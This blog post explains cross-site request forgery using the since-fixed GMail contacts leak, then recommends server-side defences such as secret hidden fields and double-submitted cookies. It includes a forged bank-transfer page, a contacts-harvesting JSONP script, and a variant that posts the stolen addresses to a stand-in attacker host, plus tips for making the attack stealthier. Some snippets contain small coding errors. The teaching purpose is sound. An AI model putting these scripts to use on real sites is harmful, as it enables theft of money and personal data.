CSRF Attacks or How to avoid exposing your GMail contacts

GMail is having a hard time at the moment, the latest problem is a CSRF flaw that allows anyone to read your GMail contacts.

CSRF is commonly mistaken for Cross-Site Scripting (XSS); the article linked to by Digg makes this mistake, but the 2 attacks are not the same.

CSRF is a relatively unknown type of attack on a website, because it can be tricky to pull off. But this obscurity means that far more sites are vulnerable. In addition CSRF has all the potential of XSS so it is a powerful foe.

Aside: Sometimes you'll see references to this as XSRF, (I guess in deference to XSS). I'm using CSRF for 2 reasons. First, is that Wikipedia re-directs XSRF to CSRF, and second that's what Google says people are using. Compare the count on this search for CSRF (about 900k) with this search on XSRF (under 30k).

How it works

Normally an attacker is prevented from forging Cookies using Javascript by the domain rules in a browser. CSRF allows you to evade these rules. This is an example; it could be an HTML email or a web page.

<html>
I've noticed that your bank has done some cool updates,
why don't you login and checkout the funky new features.

<script>
var url = '/transferMoney?amount=1000&dest=eve@evil.com';
setTimeout(30000, "window.open(url)");
</script>
</html>

The example above will obviously need customizing for your bank, but it does demonstrate the core of the problem. Eve asked Alice to log into her bank, and used a simple script to wait while she did that and then script a money transfer by opening a new window, since Alice has logged on, the thief gets to steal money from Alice's account.

There is a problem with the above code: the new window will probably alert Alice to what is going on. It may well be too late by then, but Eve would like longer to cover her tracks. One option is to use XMLHttpRequest to asynchronously fetch the response without displaying it.

Enhancing the Attack

There are a number of tricks you can use to make the attack more pernicious:

  • Use XHR, IFrame or Script tags to try the request asynchronously
  • Include some logic to try every few seconds waiting for Alice to login
  • Script a sequence of requests to mimic the user following a wizard
  • Send the page in an HTML email to target known bank users: Phishing without needing to setup a fake site.

According to the Cookie spec, using XHR, IFrame and Script Tags should not work. Cookies should only be sent to the owning-domain, and then only when the parent window is in the same domain. However it's more likely that the cookie spec will be re-written than that browsers will change because a fully conforming browser would break the many systems that make use of this; like most JavaScript widgets and many advertising systems.

Anatomy of the GMail Attack

It's fixed now, but before the fix, if you are logged onto GMail then visiting this page will show you all your GMail contacts. How does it work?

The attack uses script tags, and just assumes that you are logged-on. Since most GMail users are permanently logged on, this isn't a huge problem.

There is a Google URL that returns some script containing your contacts:

http://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999

The page used to look something like this:

google ({
  Success: true,
  Errors: [],
  Body: {
    AuthToken: {
      Value: '********'
    },
    Contacts: [
      {
        Id: '***',
        Email: 'users at dwr.dev.java.net',
        Affinity: ***,
        Groups: [
          {
            id: '^Freq',
            value: 'users at dwr.dev.java.net'
          }
        ],
        Addressess: [],
        Phoness: [],
        Imss: []
      },
    // Lots more contacts here
    ]
  }
})

So we're calling a function "google()" and passing it a data structure that includes all your contacts. So all we need to do is to do something with this data. The page I linked-to earlier creates a list from it using code like this:

<script type="text/javascript">
function google(data){
    var emails, i;
    for (i = 0; i < data.Body.Contacts.length; i++) {
        mails += "<li>" + data.Body.Contacts[i].Email + "</li>";
    }
    document.write("<ol>" + emails + "</ol>");
}
</script>

<script type="text/javascript" src="http://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999">
</script>

But it would be just as easy to post the list of addresses off to some spam address catcher service:

<script type="text/javascript">
function google(data){
    var body, i;
    for (i = 0; i < data.Body.Contacts.length; i++) {
        body += data.Body.Contacts[i].Email + "\n";
    }
    var xhr = new ActiveXObject("Microsoft.XMLHTTP");
    xhr.open("POST", "http://evilspammerservice.com/catcher");
    xhr.send(body);
}
</script>

In the short term you can protect yourself by logging out when you have read your email.

Lots of discussion of this on Megite, Techmeme, Ajaxian, Engadget.

Update: I see that a similar issue has affected Digg.com too. Also there were notes on how the fix went here that were variously confusing and wrong, I've removed them.

How to Protect Your Server

There are 2 known solutions to CSRF attacks: secret hidden fields and scripted cookies.

Things that wont protect you:

  • Switching to POST and denying GET: Forms can be trivially altered with DOM manipulation to forge POST requests.
  • Checking the referrer field: the referrer field is open to manipulation and it is sometimes not sent by browsers. So you are left with a choice between allowing no referrer (an attacker can get around this) and denying no referrer (breaks many innocent users).
  • JSON: Removing the function call in the GMail example would protect read-only resources since browsers will act on cross-domain rules to keep the reply from you. If the server request changes any server side state then even though the browser can't read the reply, it can still cause the state to change.

Secret Hidden Fields

If all your sensitive URLs contain some secret shipped with the page, then the cross-domain rules in the browser will stop an attacker from discovering the secret, so the server can distinguish between submissions that come from pages supplied by the server (which are safe).

This technique is good for the "Web 1.0" situations which are light on scripting. It is fairly complex to setup because it requires the server to keep a track of the secret, and to manipulate all forms to contain a hidden field.

Double Submit the Cookie

The CSRF attack works by subverting what the browser will do with the cookie.  Ideally, your cookies would be totally unavailable to anyone outside of your domain. This attack works because XMLHttpRequest in some page can use the cookies of some foreign domain when posting to that foreign domain. However the script can not read the cookie directly due to the cross-domain rules, so a slight modification of the hidden field solution is to read the session cookie using JavaScript and then adding to URLs, forms or the body of a POST request, and then checking in the server that the session cookie value that the browser sends in the header (which is subvertable) is the same as the session cookie in the request (this is not subvertable in the same way).

If you are using Ajax or a significant amount of scripting then this solution is a simple fix once solution.

Use a Library

Specifically - use DWR. If you are using DWR version 2 then this CSRF protection comes for free. DWR implements the double cookie submission pattern transparently.

Comments

Comments have been turned off on old posts